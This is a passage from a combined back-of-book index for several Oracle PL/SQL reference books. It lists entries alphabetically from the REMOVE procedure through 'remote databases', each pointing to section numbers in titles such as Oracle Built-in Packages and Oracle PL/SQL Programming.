15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.5.4. The DBMS_REPCAT.RELOCATE_MASTERDEF procedure, Oracle Built-in Packages
REMOVE procedure
C.2.2. The REMOVE procedure, Oracle PL/SQL Programming
C.5.6. The REMOVE procedure, Oracle PL/SQL Programming
REMOVE procedure (DBMS_ALERT)
3.2.1.1. DBMS_ALERT programs, Oracle Built-in Packages
3.2.2.2. The DBMS_ALERT.REMOVE procedure, Oracle Built-in Packages
REMOVE procedure (DBMS_JOB)
13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
13.2.7.1. The DBMS_JOB.REMOVE procedure, Oracle Built-in Packages
REMOVE procedure, OWA_COOKIE package: 7.3.1.2. Procedures and functions, Oracle Web Applications
REMOVEALL procedure: C.2.3. The REMOVEALL procedure, Oracle PL/SQL Programming
REMOVEALL procedure (DBMS_ALERT)
3.2.1.1. DBMS_ALERT programs, Oracle Built-in Packages
3.2.2.3. The DBMS_ALERT.REMOVEALL procedure, Oracle Built-in Packages
REMOVE_MASTER_DATABASES procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.5.2. The DBMS_REPCAT.REMOVE_MASTER_DATABASES procedure, Oracle Built-in Packages
REMOVE_PIPE function
3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
3.1.3.2. The DBMS_PIPE.REMOVE_PIPE function, Oracle Built-in Packages
C.10.6. The REMOVE_PIPE function, Oracle PL/SQL Programming
REMOVE_SUBSCRIBER procedure
5.5. DBMS_AQADM: Performing AQ Administrative Tasks (Oracle8 only), Oracle Built-in Packages
5.5.3.2. The DBMS_AQADM.REMOVE_SUBSCRIBER procedure, Oracle Built-in Packages
REPAPI (Replication API): 1.3.8.2. EnterpriseSync Lite, Oracle Web Applications
REPCAT_IMPORT_CHECK procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.8.1. The DBMS_REPCAT.REPCAT_IMPORT_CHECK procedure, Oracle Built-in Packages
REPEAT UNTIL loop: 7.2.2. Emulating a REPEAT UNTIL Loop, Oracle PL/SQL Programming
REPLACE function
(see also TRANSLATE function)
4.3.3. Function Results with NULL Arguments, Oracle PL/SQL Programming
11.1.10. The REPLACE function, Oracle PL/SQL Programming
11.1.15. The TRANSLATE function, Oracle PL/SQL Programming
REPLICATION_OFF procedure: 15.6.2.1. DBMS_REPUTIL.REPLICATION_OFF procedure, Oracle Built-in Packages
REPLICATION_ON procedure: 15.6.2.2. DBMS_REPUTIL.REPLICATION_ON procedure, Oracle Built-in Packages
REQUEST function
4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
4.1.1.1. DBMS_LOCK programs, Oracle Built-in Packages
C.7.4. The REQUEST function, Oracle PL/SQL Programming
RESET_BUFFER procedure
3.1.1.1. DBMS_PIPE programs, Oracle Built-in Packages
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure, Oracle Built-in Packages
C.10.7. The RESET_BUFFER procedure, Oracle PL/SQL Programming
message unpacking/sending and: 3.1.7.2. Exploring DBMS_PIPE , Oracle Built-in Packages
tips about
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure, Oracle Built-in Packages
3.1.6.5. Using RESET_BUFFER, Oracle Built-in Packages
RESET_COMPILER_OPTION procedure, DBMS_JAVA package: 9.7. Using DBMS_JAVA and DBMS_JAVA_TEST, Guide to Oracle8i Features
RESET_PACKAGE procedure
11.1.1.1. DBMS_SESSION programs , Oracle Built-in Packages
11.1.4.3. The DBMS_SESSION.RESET_PACKAGE procedure, Oracle Built-in Packages
C.12.3. The RESET_PACKAGE procedure, Oracle PL/SQL Programming
RESTRICT_REFERENCES pragma
17.3. Requirements for Stored Functions in SQL, Oracle PL/SQL Programming
1.6.5.1. RESTRICT_REFERENCES pragma, Advanced Oracle PL/SQL Programming with Packages
10.2.1. RESTRICT_REFERENCES Pragma, Guide to Oracle8i Features
17.5.1. The RESTRICT_REFERENCES Pragma, Oracle PL/SQL Programming
manual application of: 17.7.1. Manual Application of Pragmas, Oracle PL/SQL Programming
RESUME_MASTER_ACTIVITY procedure
15.3.1.1. DBMS_REPCAT programs, Oracle Built-in Packages
15.3.7.2. The DBMS_REPCAT.RESUME_MASTER_ACTIVITY procedure, Oracle Built-in Packages
RESUME_SUBSET_OF_MASTERS procedure
15.4.1. Getting Started with DBMS_OFFLINE_OG, Oracle Built-in Packages
15.4.2.5. The DBMS_OFFLINE_OG.RESUME_SUBSET_OF_MASTERS procedure, Oracle Built-in Packages
RETURN statement
6.1.2. Functions, Oracle Web Applications
15.5.2. The RETURN Datatype, Oracle PL/SQL Programming
6.4.4. The Cursor RETURN Clause, Oracle PL/SQL Programming
7.7.2.3. RETURN statement, Oracle PL/SQL Programming
15.5.8. The RETURN Statement, Oracle PL/SQL Programming
cursor: 6.4. Declaring Cursors, Oracle PL/SQL Programming
in procedures: 15.5.8.5. RETURN statement in a procedure, Oracle PL/SQL Programming
of package cursors: 16.3.2. Declaring Package Cursors, Oracle PL/SQL Programming
overloaded functions: 15.8.4. Restrictions on Overloading, Oracle PL/SQL Programming
using single: 22.2.2. Use a Single RETURN Statement for Successful Termination, Oracle PL/SQL Programming
RETURNING INTO clause: 5.3. Bulk Querying with the BULK COLLECT Clause, Guide to Oracle8i Features
RETURNING clause
4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
4.4.3. Argument Modes , Guide to Oracle8i Features
dynamic SQL and: 2.5.7. Using the RETURNING Clause in Dynamic SQL, Oracle Built-in Packages
multiple-row delete: 2.5.7.2. RETURNING from a multiple-row delete, Oracle Built-in Packages
single-row insert: 2.5.7.1. RETURNING from a single-row insert, Oracle Built-in Packages
REVERSE statement
9.2.3.13. The UTL_RAW.REVERSE function, Oracle Built-in Packages
7.3.1. Rules for Numeric FOR Loops, Oracle PL/SQL Programming
REVOKE statement: 7.6.2. System-Level Access Control, Guide to Oracle8i Features
REVOKE_ADMIN_ANY_REPGROUP procedure
15.2.1.1. DBMS_REPCAT_ADMIN programs, Oracle Built-in Packages
15.2.2.4. The DBMS_REPCAT_ADMIN.REVOKE_ADMIN_ANY_REPGROUP procedure, Oracle Built-in Packages
REVOKE_ADMIN_ANY_REPSCHEMA procedure: 15.2.1.1. DBMS_REPCAT_ADMIN programs, Oracle Built-in Packages
REVOKE_ADMIN_REPGROUP procedure
15.2.1.1. DBMS_REPCAT_ADMIN programs, Oracle Built-in Packages
15.2.2.2. The DBMS_REPCAT_ADMIN.REVOKE_ADMIN_REPGROUP procedure, Oracle Built-in Packages
REVOKE_ADMIN_REPSCHEMA procedure: 15.2.1.1. DBMS_REPCAT_ADMIN programs, Oracle Built-in Packages
REVOKE_QUEUE_PRIVILEGE procedure: 7.6.3.2. REVOKE_QUEUE_PRIVILEGE: Revoking queue-level privileges, Guide to Oracle8i Features
REVOKE_SURROGATE_REPCAT procedure
15.1.1.1. DBMS_REPCAT_AUTH programs, Oracle Built-in Packages
15.1.2.2. The DBMS_REPCAT_AUTH.REVOKE_SURROGATE_REPCAT procedure, Oracle Built-in Packages
REVOKE_SYSTEM_PRIVILEGE procedure: 7.6.2.2. REVOKE_SYSTEM_PRIVILEGE: Revoking system-level privileges, Guide to Oracle8i Features
RNDS (reads no database state): 2.4.1. Using Autonomous Transactions from Within SQL, Guide to Oracle8i Features
RNDS purity code
1.6.5.1. RESTRICT_REFERENCES pragma, Advanced Oracle PL/SQL Programming with Packages
1.6.5.2. Asserting the purity level of the initialization section, Advanced Oracle PL/SQL Programming with Packages
17.5.1. The RESTRICT_REFERENCES Pragma, Oracle PL/SQL Programming
RNPS (reads no package state): 7.4. UTL_COLL: Using Collection Locators, Guide to Oracle8i Features
RNPS purity code
1.6.5.1. RESTRICT_REFERENCES pragma, Advanced Oracle PL/SQL Programming with Packages
17.5.1. The RESTRICT_REFERENCES Pragma, Oracle PL/SQL Programming
ROLLBACK procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.4.1. The DBMS_TRANSACTION.ROLLBACK procedure, Oracle Built-in Packages
C.15.9. The ROLLBACK procedure, Oracle PL/SQL Programming
2.5.2. Using Autonomous Transactions in a Database Trigger, Guide to Oracle8i Features
6.1.2. The ROLLBACK Statement, Oracle PL/SQL Programming
6.11.1. Releasing Locks with COMMIT, Oracle PL/SQL Programming
ROLLBACK TO statement: 6.1.2. The ROLLBACK Statement, Oracle PL/SQL Programming
ROLLBACK_FORCE procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.4.2. The DBMS_TRANSACTION.ROLLBACK_FORCE procedure, Oracle Built-in Packages
C.15.10. The ROLLBACK_FORCE procedure, Oracle PL/SQL Programming
ROLLBACK_SAVEPOINT procedure
4.2.1.1. DBMS_TRANSACTION programs, Oracle Built-in Packages
4.2.4.4. The DBMS_TRANSACTION.ROLLBACK_SAVEPOINT procedure, Oracle Built-in Packages
C.15.11. The ROLLBACK_SAVEPOINT procedure, Oracle PL/SQL Programming
ROUND function
12.1.6. The ROUND function, Oracle PL/SQL Programming
13.1.15. The ROUND function, Oracle PL/SQL Programming
ROWID datatype
(see also ROWIDs)
converting to/from: 14.2.1. The CHARTOROWID function, Oracle PL/SQL Programming
4.2.3.6. The ROWID datatype, Oracle PL/SQL Programming
4.5. Working with Objects and Collections, Guide to Oracle8i Features
ROWIDTOCHAR function
14.2.5. The ROWIDTOCHAR function, Oracle PL/SQL Programming
in Oracle7: 9.1.2. ROWID Concepts, Oracle Built-in Packages
ROWID_ARG procedure: 17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
ROWID_BLOCK_NUMBER function
9.1.3.1. The DBMS_ROWID.ROWID_BLOCK_NUMBER function, Oracle Built-in Packages
C.11.6. The ROWID_BLOCK_NUMBER function, Oracle PL/SQL Programming
ROWID_CREATE function
9.1.3.2. The DBMS_ROWID.CREATE_ROWID function, Oracle Built-in Packages
C.11.1. The ROWID_CREATE function, Oracle PL/SQL Programming
ROWID_INFO procedure
9.1.3.3. The DBMS_ROWID.ROWID_INFO procedure, Oracle Built-in Packages
C.11.2. The ROWID_INFO procedure, Oracle PL/SQL Programming
ROWID_OBJECT function
9.1.3.4. The DBMS_ROWID.ROWID_OBJECT function, Oracle Built-in Packages
C.11.4. The ROWID_OBJECT function, Oracle PL/SQL Programming
ROWID_RELATIVE_FNO function
9.1.3.5. The DBMS_ROWID.ROWID_RELATIVE_FNO function, Oracle Built-in Packages
C.11.5. The ROWID_RELATIVE_FNO function , Oracle PL/SQL Programming
ROWID_ROW_NUMBER function
9.1.3.6. The DBMS_ROWID.ROWID_ROW_NUMBER function, Oracle Built-in Packages
C.11.7. The ROWID_ROW_NUMBER function, Oracle PL/SQL Programming
ROWID_TO_ABSOLUTE_FNO function
9.1.3.7. The DBMS_ROWID.ROWID_TO_ABSOLUTE_FNO function, Oracle Built-in Packages
C.11.8. The ROWID_TO_ABSOLUTE_FNO function, Oracle PL/SQL Programming
ROWID_TO_EXTENDED function
9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function, Oracle Built-in Packages
C.11.9. The ROWID_TO_EXTENDED function, Oracle PL/SQL Programming
ROWID_TO_RESTRICTED function
9.1.3.9. The DBMS_ROWID.ROWID_TO_RESTRICTED function, Oracle Built-in Packages
C.11.10. The ROWID_TO_RESTRICTED function, Oracle PL/SQL Programming
ROWID_TYPE function
9.1.3.10. The DBMS_ROWID.ROWID_TYPE function, Oracle Built-in Packages
C.11.3. The ROWID_TYPE function, Oracle PL/SQL Programming
ROWID_VERIFY function
9.1.3.11. The DBMS_ROWID.ROWID_VERIFY function, Oracle Built-in Packages
C.11.11. The ROWID_VERIFY function , Oracle PL/SQL Programming
ROWIDs
(see also extended ROWIDs; restricted ROWIDs)
9. Datatype Packages, Oracle Built-in Packages
9.1.2. ROWID Concepts, Oracle Built-in Packages
DBMS_ROWID package for: C.11. DBMS_ROWID (PL/SQL8 Only), Oracle PL/SQL Programming
absolute file numbers, returning: 9.1.3.7. The DBMS_ROWID.ROWID_TO_ABSOLUTE_FNO function, Oracle Built-in Packages
block numbers, returning: 9.1.3.1. The DBMS_ROWID.ROWID_BLOCK_NUMBER function, Oracle Built-in Packages
components of, returning: 9.1.3.3. The DBMS_ROWID.ROWID_INFO procedure, Oracle Built-in Packages
creating: 9.1.3.2. The DBMS_ROWID.CREATE_ROWID function, Oracle Built-in Packages
datatypes of
9. Datatype Packages, Oracle Built-in Packages
9.1.3.10. The DBMS_ROWID.ROWID_TYPE function, Oracle Built-in Packages
dropped files and: 9.1.3.8. The DBMS_ROWID.ROWID_TO_EXTENDED function, Oracle Built-in Packages
format: 9.1.2. ROWID Concepts, Oracle Built-in Packages
latest row fetched: 2.3.10.3. The DBMS_SQL.LAST_ROW_ID function, Oracle Built-in Packages
object numbers and: 9.1.3.4. The DBMS_ROWID.ROWID_OBJECT function, Oracle Built-in Packages
parsing: 9.1.3.3. The DBMS_ROWID.ROWID_INFO procedure, Oracle Built-in Packages
relative file numbers, returning: 9.1.3.5. The DBMS_ROWID.ROWID_RELATIVE_FNO function, Oracle Built-in Packages
returning: 9.1.3.2. The DBMS_ROWID.CREATE_ROWID function, Oracle Built-in Packages
verifying: 9.1.3.11. The DBMS_ROWID.ROWID_VERIFY function, Oracle Built-in Packages
ROWNUM: 5.3.1. Restricting Bulk Collection with ROWNUM , Guide to Oracle8i Features
ROWTYPE_MISMATCH exception: 6.12.5.2. Handling the ROWTYPE_MISMATCH exception, Oracle PL/SQL Programming
RPAD function
3.9. Considering Implementation Options, Advanced Oracle PL/SQL Programming with Packages
11.1.11. The RPAD function, Oracle PL/SQL Programming
RPCs
(see also deferred transactions)
17.1.1. About Remote Destinations, Oracle Built-in Packages
17.3.3.1. The DBMS_DEFER.<datatype>_ARG procedure, Oracle Built-in Packages
arguments
obtaining datatypes: 17.4.1.3. The DBMS_DEFER_QUERY.GET_ARG_TYPE function, Oracle Built-in Packages
obtaining datatypes and values: 17.4.1.4. The DBMS_DEFER_QUERY.GET_CALL_ARGS procedure, Oracle Built-in Packages
obtaining values: 17.4.1.5. The DBMS_DEFER_QUERY.GET_<datatype>_ARG function, Oracle Built-in Packages
calling: 17.3.2.2. The DBMS_DEFER.CALL procedure, Oracle Built-in Packages
data dictionary views for: 17.1.2. Data Dictionary Views, Oracle Built-in Packages
destinations for: 17.1.1. About Remote Destinations, Oracle Built-in Packages
parameterized RPCs: 17.3.3. Parameterized RPCs, Oracle Built-in Packages
parameterless RPCs: 17.3.2. Basic RPCs, Oracle Built-in Packages
queuing of (illustration): 17.3.2.3. The DBMS_DEFER.COMMIT_WORK procedure, Oracle Built-in Packages
replication and: 17.1.1. About Remote Destinations, Oracle Built-in Packages
RPCs (remote procedure calls): 23.4. Remote Procedure Calls, Oracle PL/SQL Programming
RR format model: 14.3.3. RR: Changing Millenia, Oracle PL/SQL Programming
RTRIM function: 11.1.12. The RTRIM function, Oracle PL/SQL Programming
RUN procedure
13.1.1. DBMS_JOB Programs, Oracle Built-in Packages
13.2.7.3. The DBMS_JOB.RUN procedure, Oracle Built-in Packages
C.5.7. The RUN procedure, Oracle PL/SQL Programming
RealNetworks: 1.3.9.2. Multimedia data, Oracle Web Applications
Record Found? function: 16.2.7. Generating a "Record Found?" Function, Advanced Oracle PL/SQL Programming with Packages
RegExp: 7.2.2.1. Regular expressions, Oracle Web Applications
Release 1.1, PL/SQL
1.4.8. PL/SQL Release 1.1, Oracle PL/SQL Programming
10.9.4.3. Features of the array package, Oracle PL/SQL Programming
Release 2.1, PL/SQL: 1.4.4. PL/SQL Release 2.1, Oracle PL/SQL Programming
new_add_months function: 12.2.1. Customizing the Behavior of ADD_MONTHS, Oracle PL/SQL Programming
overloaded modules: 15.8.4. Restrictions on Overloading, Oracle PL/SQL Programming
Release 2.2, PL/SQL: 1.4.5. PL/SQL Release 2.2, Oracle PL/SQL Programming
cursor variables: 6.12. Cursor Variables, Oracle PL/SQL Programming
Release 2.3, PL/SQL
1.4.6. PL/SQL Release 2.3, Oracle PL/SQL Programming
10.1.1. PL/SQL Tables, Oracle PL/SQL Programming
tables: 10.8. PL/SQL Table Enhancements in PL/SQL Release 2.3, Oracle PL/SQL Programming
RevealNet
About PL/Vision, Oracle Built-in Packages
6.4.2. PL/Formatter, Oracle Web Applications
raise_exception procedure: 22.3.3.5. Responding to the exception action, Advanced Oracle PL/SQL Programming with Packages
raising exceptions
(see also exceptions)
8.4.1.2. Raising exceptions in nested blocks, Oracle PL/SQL Programming
8.5. Raising an Exception, Oracle PL/SQL Programming
8.10. RAISE Nothing but Exceptions, Oracle PL/SQL Programming
random number generation: 10.4. DBMS_RANDOM: Generating Random Numbers (Oracle8 Only), Oracle Built-in Packages
range assertion routines: 6.3.3. Asserting "In Range", Advanced Oracle PL/SQL Programming with Packages
range scheme, FOR loops: 7.3. The Numeric FOR Loop, Oracle PL/SQL Programming
raw data
(see also UTL_RAW package)
9.2. UTL_RAW: Manipulating Raw Data, Oracle Built-in Packages
9.2.3.1. The UTL_RAW.BIT_AND function, Oracle Built-in Packages
VARCHAR2 conversions
9.2.3.6. The UTL_RAW.CAST_TO_VARCHAR2 function, Oracle Built-in Packages
9.2.2.1. Conversion and coercion, Oracle Built-in Packages
9.2.3.5. The UTL_RAW.CAST_TO_RAW function, Oracle Built-in Packages
byte string operations: 9.2.2.2. Slicing and dicing, Oracle Built-in Packages
character set conversions: 9.2.3.9. The UTL_RAW.CONVERT function, Oracle Built-in Packages
comparing: 9.2.3.7. The UTL_RAW.COMPARE function, Oracle Built-in Packages
concatenating
9.2.3.10. The UTL_RAW.COPIES function, Oracle Built-in Packages
9.2.3.8. The UTL_RAW.CONCAT function, Oracle Built-in Packages
concepts: 9.2.2. Raw Data Manipulation Concepts, Oracle Built-in Packages
copying: 9.2.3.10. The UTL_RAW.COPIES function, Oracle Built-in Packages
date conversions: 9.2.2.1. Conversion and coercion, Oracle Built-in Packages
hex conversions: 9.2.2.1. Conversion and coercion, Oracle Built-in Packages
length of: 9.2.3.11. The UTL_RAW.LENGTH function, Oracle Built-in Packages
numeric conversions: 9.2.2.1. Conversion and coercion, Oracle Built-in Packages
overlaying: 9.2.3.12. The UTL_RAW.OVERLAY function, Oracle Built-in Packages
range of values: 9.2.3.17. The UTL_RAW.XRANGE function, Oracle Built-in Packages
reversing: 9.2.3.13. The UTL_RAW.REVERSE function, Oracle Built-in Packages
substring of: 9.2.3.14. The UTL_RAW.SUBSTR function, Oracle Built-in Packages
translation of byte strings: 9.2.3.15. The UTL_RAW.TRANSLATE function, Oracle Built-in Packages
transliteration: 9.2.3.16. The UTL_RAW.TRANSLITERATE function, Oracle Built-in Packages
rb function: 5.10.5. Rolling back on exception, Advanced Oracle PL/SQL Programming with Packages
rb_to procedure
5.17.7. Rolling back in PLVlog, Advanced Oracle PL/SQL Programming with Packages
21.1.5.4. Setting the default "rollback to" behavior, Advanced Oracle PL/SQL Programming with Packages
rb_to_default procedure
5.17.7. Rolling back in PLVlog, Advanced Oracle PL/SQL Programming with Packages
21.1.5.4. Setting the default "rollback to" behavior, Advanced Oracle PL/SQL Programming with Packages
rb_to_last procedure
5.17.7. Rolling back in PLVlog, Advanced Oracle PL/SQL Programming with Packages
5.23.3. Performing rollbacks, Advanced Oracle PL/SQL Programming with Packages
20.2.4. Performing Rollbacks, Advanced Oracle PL/SQL Programming with Packages
21.1.5.4. Setting the default "rollback to" behavior, Advanced Oracle PL/SQL Programming with Packages
rbdef procedure
5.10.5. Rolling back on exception, Advanced Oracle PL/SQL Programming with Packages
22.1.8. Rolling Back When an Exception Occurs, Advanced Oracle PL/SQL Programming with Packages
rblast procedure
5.10.5. Rolling back on exception, Advanced Oracle PL/SQL Programming with Packages
22.1.8. Rolling Back When an Exception Occurs, Advanced Oracle PL/SQL Programming with Packages
read consistency, stored functions and: 17.7.2. Read Consistency Model Complications, Oracle PL/SQL Programming
read-committed isolation level: 6.1.4. The SET TRANSACTION Statement, Oracle PL/SQL Programming
read-only parameters: (see IN mode)
read-only transactions: 6.1.4. The SET TRANSACTION Statement, Oracle PL/SQL Programming
readability of code: 15.7.3. Improving Readability, Oracle PL/SQL Programming
readability, local modules for: 1.7.1. Write as Little Code as Possible, Oracle PL/SQL Programming
readev.sql : 11.2.2.1. The DBMS_SYSTEM.READ_EV procedure, Oracle Built-in Packages
reading
from files
5.11.9. Reading from a file, Advanced Oracle PL/SQL Programming with Packages
13.5. Reading From a File, Advanced Oracle PL/SQL Programming with Packages
from source repository
5.15.7. Reading and writing lines, Advanced Oracle PL/SQL Programming with Packages
12. PLVio: Reading and Writing PL/SQL Source Code, Advanced Oracle PL/SQL Programming with Packages
12.6. Reading From the Source, Advanced Oracle PL/SQL Programming with Packages
log files: 5.17.5. Reading the log , Advanced Oracle PL/SQL Programming with Packages
reads no database state (RNDS) purity level: 2.4.1. Using Autonomous Transactions from Within SQL, Guide to Oracle8i Features
reads no package state (RNPS) purity level: 7.4. UTL_COLL: Using Collection Locators, Guide to Oracle8i Features
real-time production support: 26.2.1. Features of a Real-Time Support Mechanism, Oracle PL/SQL Programming
recNgo procedure
5.10.6. Exception handlers, Advanced Oracle PL/SQL Programming with Packages
22.1.6.2. The high-level handlers, Advanced Oracle PL/SQL Programming with Packages
22.3.4.2. Implementing the high-level handlers, Advanced Oracle PL/SQL Programming with Packages
recNstop procedure
5.10.6. Exception handlers, Advanced Oracle PL/SQL Programming with Packages
22.1.6.2. The high-level handlers, Advanced Oracle PL/SQL Programming with Packages
22.1.9. Halting in PLVexc, Advanced Oracle PL/SQL Programming with Packages
receive_unpack_friend procedure
3.1.4.4. The DBMS_PIPE.UNPACK_MESSAGE procedure, Oracle Built-in Packages
3.1.6.1. Defining message types and encapsulating communications logic, Oracle Built-in Packages
receive_unpack_request procedure
3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function, Oracle Built-in Packages
3.1.7.5. The pipesvr package, Oracle Built-in Packages
recfnd procedure
5.13.10. Miscellaneous code generators, Advanced Oracle PL/SQL Programming with Packages
16.2.7. Generating a "Record Found?" Function, Advanced Oracle PL/SQL Programming with Packages
recipient lists: 5.1.5. A Glossary of Terms, Oracle Built-in Packages
overriding subscriber lists: 5.1.5. A Glossary of Terms, Oracle Built-in Packages
table types for: 5.3.5. Recipient and Subscriber List Table Types, Oracle Built-in Packages
tables for: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
recipients: (see consumers)
recmpile.sp : 10.3.2.1. The DBMS_DDL.ALTER_COMPILE procedure, Oracle Built-in Packages
recompile procedure: 10.3.2.1. The DBMS_DDL.ALTER_COMPILE procedure, Oracle Built-in Packages
recompiling packages: 2.4. Organizing Package Source Code, Advanced Oracle PL/SQL Programming with Packages
record locking: 7.3.2. OWA_OPT_LOCK: Record Locking, Oracle Web Applications
record, EXECUTE IMMEDIATE statement: 4.2.1. The EXECUTE IMMEDIATE Statement, Guide to Oracle8i Features
record_exception procedure: 22.3.4.1. Leveraging PLVLog , Advanced Oracle PL/SQL Programming with Packages
recording: (see logging)
recording_exception function: 22.3.3.3. Recording the exception, Advanced Oracle PL/SQL Programming with Packages
records
(see also variables)
1.4.3.3. Programmer-defined records, Oracle PL/SQL Programming
1.7.1. Write as Little Code as Possible, Oracle PL/SQL Programming
4. Variables and Program Data, Oracle PL/SQL Programming
9. Records in PL/SQL, Oracle PL/SQL Programming
accessing data from: 9.1.2. Accessing Record-Based Data, Oracle PL/SQL Programming
as parameters: 9.1.4. Guidelines for Using Records, Oracle PL/SQL Programming
child: 8.3.3.1. The EXCEPTION_INIT pragma, Oracle PL/SQL Programming
collections as components of: 19.2.2.2. Collections as components of a record, Oracle PL/SQL Programming
comparing: 9.1.6. Comparing Two Records, Oracle PL/SQL Programming
compatibility of: 9.6. Record Types and Record Compatibility, Oracle PL/SQL Programming
corresponding to cursors: 9.1.4. Guidelines for Using Records, Oracle PL/SQL Programming
cursor FOR loops: 7.4.2. The Cursor FOR Loop Record, Oracle PL/SQL Programming
cursor-based
(see also cursors)
9.3. Cursor-Based Records, Oracle PL/SQL Programming
declaring
9.2.1. Declaring Records with the %ROWTYPE Attribute, Oracle PL/SQL Programming
9.4.2. Declaring the Record, Oracle PL/SQL Programming
deleting
10.7. Clearing the PL/SQL Table, Oracle PL/SQL Programming
10.8.2.2. The DELETE procedure, Oracle PL/SQL Programming
fetching into: (see FETCH statement)
filling: 10.6. Filling the Rows of a PL/SQL Table, Oracle PL/SQL Programming
in tables: 10.8. PL/SQL Table Enhancements in PL/SQL Release 2.3, Oracle PL/SQL Programming
referencing fields of: 10.8.1.1. Referencing fields of record elements in PL/SQL tables, Oracle PL/SQL Programming
index-by tables of: 25.4.8. Use Index-By Tables of Records and Objects, Oracle PL/SQL Programming
initializing: 9.6.2. Record Initialization, Oracle PL/SQL Programming
locking: 6.11. SELECT FOR UPDATE in Cursors, Oracle PL/SQL Programming
manual: 9.6.1.1. Manual records, Oracle PL/SQL Programming
naming columns of: 9.3.2. Setting the Record's Column Names, Oracle PL/SQL Programming
nested: 9.7. Nested Records, Oracle PL/SQL Programming
programmer-defined: 9.4. Programmer-Defined Records, Oracle PL/SQL Programming
referencing: 9.1.5. Referencing a Record and its Fields, Oracle PL/SQL Programming
setting to NULL: 9.6.1.3. Setting records to NULL, Oracle PL/SQL Programming
table-based: 9.2. Table-Based Records, Oracle PL/SQL Programming
recovery
automatic: 4.2.6.2. The DBMS_TRANSACTION.PURGE_LOST_DB_ENTRY procedure, Oracle Built-in Packages
raw data and: 9.2. UTL_RAW: Manipulating Raw Data, Oracle Built-in Packages
recursion
3.10. Choosing the Best Performer, Advanced Oracle PL/SQL Programming with Packages
mutual: (see forward declarations)
recursive object types: 18.3.5.1. Forward type definitions, Oracle PL/SQL Programming
recursive processing: 17.8.7. Recursive Processing in a SQL Statement, Oracle PL/SQL Programming
redirection: 1.6.4. Working with Large Packages, Advanced Oracle PL/SQL Programming with Packages
redundancy
1.6.1.1. Clean up a bewildering mass of standalone functions and procedures, Advanced Oracle PL/SQL Programming with Packages
1.6.4. Working with Large Packages, Advanced Oracle PL/SQL Programming with Packages
2.11. Simultaneous Construction of Multiple Packages, Advanced Oracle PL/SQL Programming with Packages
3.1. The Basic Problem, Advanced Oracle PL/SQL Programming with Packages
15.4.2.11. Consolidating redundant code, Advanced Oracle PL/SQL Programming with Packages
avoiding in package bodies: 1.7.3. Center All Development Around Packages, Oracle PL/SQL Programming
local modules for: 1.7.1. Write as Little Code as Possible, Oracle PL/SQL Programming
naming: 2.3.2. Avoiding Redundancy, Advanced Oracle PL/SQL Programming with Packages
refall procedure: 18.2.4. Identifying References and Dependencies, Advanced Oracle PL/SQL Programming with Packages
refbi procedure
5.5.2. Identifying references in stored code, Advanced Oracle PL/SQL Programming with Packages
18.2.4. Identifying References and Dependencies, Advanced Oracle PL/SQL Programming with Packages
reference pointers: (see REFs)
referenceability, altering: 10.3.4. Setting Referenceability of Tables, Oracle Built-in Packages
references: (see documentation)
PLVrfrnc table: 18.2.2.2. PLVrfrnc table, Advanced Oracle PL/SQL Programming with Packages
RESTRICT_REFERENCES pragma: 1.6.5.1. RESTRICT_REFERENCES pragma, Advanced Oracle PL/SQL Programming with Packages
identifying: 5.5.2. Identifying references in stored code, Advanced Oracle PL/SQL Programming with Packages
identifying with PLVcat: 18.2.4. Identifying References and Dependencies, Advanced Oracle PL/SQL Programming with Packages
of package elements: 1.4.2. Referencing Package Elements, Advanced Oracle PL/SQL Programming with Packages
to host variables: 25.4.3.2. Minimize references to host variables, Oracle PL/SQL Programming
references to objects: (see REFs)
referencing
record fields in tables: 10.8.1.1. Referencing fields of record elements in PL/SQL tables, Oracle PL/SQL Programming
table rows: 10.5. Referencing and Modifying PL/SQL Table Rows, Oracle PL/SQL Programming
refnonkw procedure
5.5.2. Identifying references in stored code, Advanced Oracle PL/SQL Programming with Packages
18.2.4. Identifying References and Dependencies, Advanced Oracle PL/SQL Programming with Packages
refresh options: 1.3.8.2. EnterpriseSync Lite, Oracle Web Applications
register.sql
7.3.1. About the register_app Package, Oracle Built-in Packages
7.3.2. The action Procedure, Oracle Built-in Packages
7.3.4. The Information Procedures, Oracle Built-in Packages
register_app package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
7.3.1. About the register_app Package, Oracle Built-in Packages
batch process step registration: 7.3.5. Using the register_app Package, Oracle Built-in Packages
encapsulating DBMS_APPLICATION_INFO with: 7.3.6. Covering DBMS_APPLICATION_INFO, Oracle Built-in Packages
regtest.sql : 7.3.5. Using the register_app Package, Oracle Built-in Packages
regular expressions: 7.2.2.1. Regular expressions, Oracle Web Applications
relational (=) operators: 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
relational database management systems (RDBMSs)
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
relative file numbers, returning: 9.1.3.5. The DBMS_ROWID.ROWID_RELATIVE_FNO function, Oracle Built-in Packages
releasing record locks: 6.11.1. Releasing Locks with COMMIT, Oracle PL/SQL Programming
reload_TF function: 12.1.3.1. The segspace package, Oracle Built-in Packages
rem_line_limit procedure
5.15.5. Managing the source WHERE clause, Advanced Oracle PL/SQL Programming with Packages
12.4.4. Cleaning Up the WHERE Clause, Advanced Oracle PL/SQL Programming with Packages
rem_srcwhere procedure
5.15.5. Managing the source WHERE clause, Advanced Oracle PL/SQL Programming with Packages
12.4.4. Cleaning Up the WHERE Clause, Advanced Oracle PL/SQL Programming with Packages
remainder function: 13.1.13. The MOD function, Oracle PL/SQL Programming
remote databases
(see also distributed databases)
